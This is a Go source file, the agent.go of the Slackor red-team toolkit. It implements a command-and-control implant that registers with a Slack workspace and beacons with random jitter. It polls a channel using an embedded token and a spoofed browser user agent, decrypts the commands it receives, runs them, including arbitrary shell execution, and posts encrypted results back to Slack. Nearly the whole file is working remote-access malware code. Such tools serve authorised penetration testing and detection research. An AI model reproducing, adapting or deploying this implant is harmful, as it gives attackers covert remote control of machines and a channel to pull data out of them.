github.com/Coalfire-Research/Slackor@v0.0.0-20191010164036-aa32a7f9250b/agent.go (about) 1 package main 2 3 import ( 4 "encoding/json" 5 "fmt" 6 "io/ioutil" 7 "log" 8 "math/rand" 9 "net" 10 "net/http" 11 "net/url" 12 "os" 13 "strings" 14 "time" 15 16 "github.com/Coalfire-Research/Slackor/internal/config" 17 "github.com/Coalfire-Research/Slackor/internal/crypto" 18 "github.com/Coalfire-Research/Slackor/internal/slack" 19 "github.com/Coalfire-Research/Slackor/pkg/command" 20 21 _ "github.com/Coalfire-Research/Slackor/pkg/common" 22 _ "github.com/Coalfire-Research/Slackor/pkg/darwin" 23 _ "github.com/Coalfire-Research/Slackor/pkg/linux" 24 _ "github.com/Coalfire-Research/Slackor/pkg/windows" 25 26 "github.com/mattn/go-shellwords" 27 ) 28 29 //go:generate goversioninfo -icon=icon.ico -manifest=versioninfo.manifest 30 31 // processedJobIDs tracks all job IDs previously processed by the implant 32 var processedJobIDs = []string{} 33 34 func checkErr(err error) { //Checks for errors 35 if err != nil { 36 if err.Error() != "The operation completed successfully." { 37 println(err.Error()) 38 os.Exit(1) 39 } 40 } 41 } 42 43 func RandomString(len int) string { //Creates a random string of uppercase letters 44 bytes := make([]byte, len) 45 for i := 0; i < len; i++ { 46 bytes[i] = byte(65 + rand.Intn(25)) //A=65 and Z = 65+25 47 } 48 return string(bytes) 49 } 50 51 func randomFloat(min, max float64, n int) []float64 { //Creates a random float between to numbers 52 rand.Seed(time.Now().UnixNano()) 53 res := make([]float64, n) 54 for i := range res { 55 res[i] = min + rand.Float64()*(max-min) 56 } 57 return res 58 } 59 60 func stringInSlice(a string, list []string) bool { // A way to check if something is in the slice 61 for _, b := range list { 62 if b == a { 63 return true 64 } 65 } 66 return false 67 } 68 69 func makeTimestamp(beacon int) string { //This makes the unix timestamp 70 t := time.Now().UnixNano() / int64(time.Microsecond) 71 //Minus the beacon time and three seconds from the last time it ran 72 t = (t / 1000000) - 3 - int64(beacon) 73 tee := fmt.Sprint(t) 74 return tee 75 } 76 77 func GetLANOutboundIP() string { // Get preferred outbound ip of this machine 78 conn, err := net.Dial("udp", "4.5.6.7:1337") //This doesn't actually make a connection 79 if err != nil { 80 log.Fatal(err) 81 } 82 defer conn.Close() 83 localAddr := conn.LocalAddr().(*net.UDPAddr) 84 IP := localAddr.IP.String() 85 return IP 86 87 } 88 89 func getVersion() string { 90 versionCmd := command.GetCommand("version") 91 if versionCmd != nil { 92 result, _ := versionCmd.Run("", "", []string{}) 93 if result != "" { 94 return result 95 } 96 return "OS versioning error" 97 } else { 98 return "OS versioning unavailable" 99 } 100 } 101 102 func CheckCommands(t, clientID string) { //This is the main thing, reads the commands channel and acts accordingly 103 client := &http.Client{} 104 URL := "https://slack.com/api/channels.history" 105 v := url.Values{} 106 v.Set("channel", config.CommandsChannel) 107 v.Set("token", config.Token) 108 v.Set("oldest", t) 109 //pass the values to the request's body 110 req, _ := http.NewRequest("POST", URL, strings.NewReader(v.Encode())) 111 req.Header.Add("Authorization", "Bearer "+config.Bearer) 112 req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0") 113 req.Header.Add("Content-Type", "application/x-www-form-urlencoded") 114 resp, netError := client.Do(req) 115 if netError != nil { 116 fmt.Println("Connection error: " + netError.Error()) 117 return 118 } 119 bodyText, _ := ioutil.ReadAll(resp.Body) 120 s := string(bodyText) 121 fmt.Println(s) //Just for debugging 122 123 type Auto struct { //This structure is for parsing the JSON 124 Ok bool `json:"ok"` 125 Error string `json:"error"` 126 Messages []struct { 127 Type string `json:"type"` 128 User string `json:"user,omitempty"` 129 Text string `json:"text"` 130 ClientMsgID string `json:"client_msg_id,omitempty"` 131 Ts string `json:"ts"` 132 Username string `json:"username,omitempty"` 133 BotID string `json:"bot_id,omitempty"` 134 Subtype string `json:"subtype,omitempty"` 135 } `json:"messages"` 136 HasMore bool `json:"has_more"` 137 } 138 var m Auto 139 json.Unmarshal([]byte(s), &m) 140 // If the error string exists, you are probably rate limited. Sleep it off. 141 if m.Error != "" { 142 fmt.Println("Rate Limited, Sleeping for a bit...") 143 time.Sleep(time.Duration(randomFloat(1, 30, 1)[0]) * time.Second) 144 } 145 //This loops through each message 146 for _, Message := range m.Messages { 147 // this splits the different parts of the message 148 stringSlice := strings.Split(Message.Text, ":") 149 audienceID := stringSlice[0] 150 jobID := stringSlice[1] 151 cmdType := stringSlice[2] 152 encCmd := stringSlice[3] 153 // If the audienceID is for me (or all agents) 154 if audienceID == clientID || audienceID == "31337" { 155 // And this job has not yet been processed 156 if !stringInSlice(jobID, processedJobIDs) { 157 // append processed ID to the list of processed jobs 158 processedJobIDs = append(processedJobIDs, jobID) 159 fmt.Println(processedJobIDs) 160 /// Run stuff based on type 161 var data string 162 var err error 163 if encCmd != "" { 164 data, err = crypto.Decrypt(encCmd) 165 if err != nil { 166 fmt.Println("error:" + err.Error()) 167 continue 168 } 169 fmt.Printf("data: %q\n", data) 170 } 171 cmdParser := shellwords.NewParser() 172 cmdParser.ParseEnv = config.ParseEnv 173 cmdParser.ParseBacktick = config.ParseBacktick 174 args, err := cmdParser.Parse(string(data)) 175 if err != nil { 176 fmt.Println("error:" + err.Error()) 177 continue 178 } 179 180 switch cmdType { 181 case "command": 182 go RunCommand(clientID, jobID, args) 183 default: 184 cmd := command.GetCommand(cmdType) 185 var result string 186 if cmd != nil { 187 result, err = cmd.Run(clientID, jobID, args) 188 if err != nil { 189 result = err.Error() 190 } 191 } else { 192 result = fmt.Sprintf("%s command unavailable", cmdType) 193 } 194 encryptedOutput, _ := crypto.Encrypt([]byte(result)) 195 slack.SendResult(clientID, jobID, "output", encryptedOutput) 196 } 197 } 198 } 199 } 200 return 201 } 202 203 func RunCommand(clientID string, jobID string, args []string) { //This receives a command to run and runs it 204 var err error 205 206 cmdName := args[0] 207 var cmdArgs []string 208 cmd := command.GetCommand(cmdName) 209 if cmd != nil { 210 cmdArgs = args[1:] 211 } else { 212 cmdName = "execute" 213 cmd = command.GetCommand("execute") 214 cmdArgs = args 215 } 216 var result string 217 if cmd != nil { 218 result, err = cmd.Run(clientID, jobID, cmdArgs) 219 if err != nil { 220 result = err.Error() 221 } 222 } else { 223 result = fmt.Sprintf("%s command unavailable", cmdName) 224 } 225 encryptedOutput, _ := crypto.Encrypt([]byte(result)) 226 slack.SendResult(clientID, jobID, "output", encryptedOutput) 227 } 228 229 func main() { //Main function 230 // Set config.OSVersion 231 cmd := command.GetCommand("version") 232 if cmd != nil { 233 cmd.Run("", "", []string{}) 234 } 235 236 //Give the client a random ID 237 rand.Seed(time.Now().UTC().UnixNano()) 238 clientID := RandomString(5) 239 // Register with server 240 slack.Register(clientID) 241 for { 242 // 20% Jitter 243 delay := randomFloat(float64(config.Beacon)*.8, float64(config.Beacon)*1.2, 1) 244 fmt.Println(delay) // Just for debugging 245 //Sleep for beacon interval + jitter 246 time.Sleep(time.Duration(delay[0]) * time.Second) 247 t := makeTimestamp(config.Beacon) 248 //Check if commands are waiting for us 249 CheckCommands(string(t), clientID) 250 } 251 }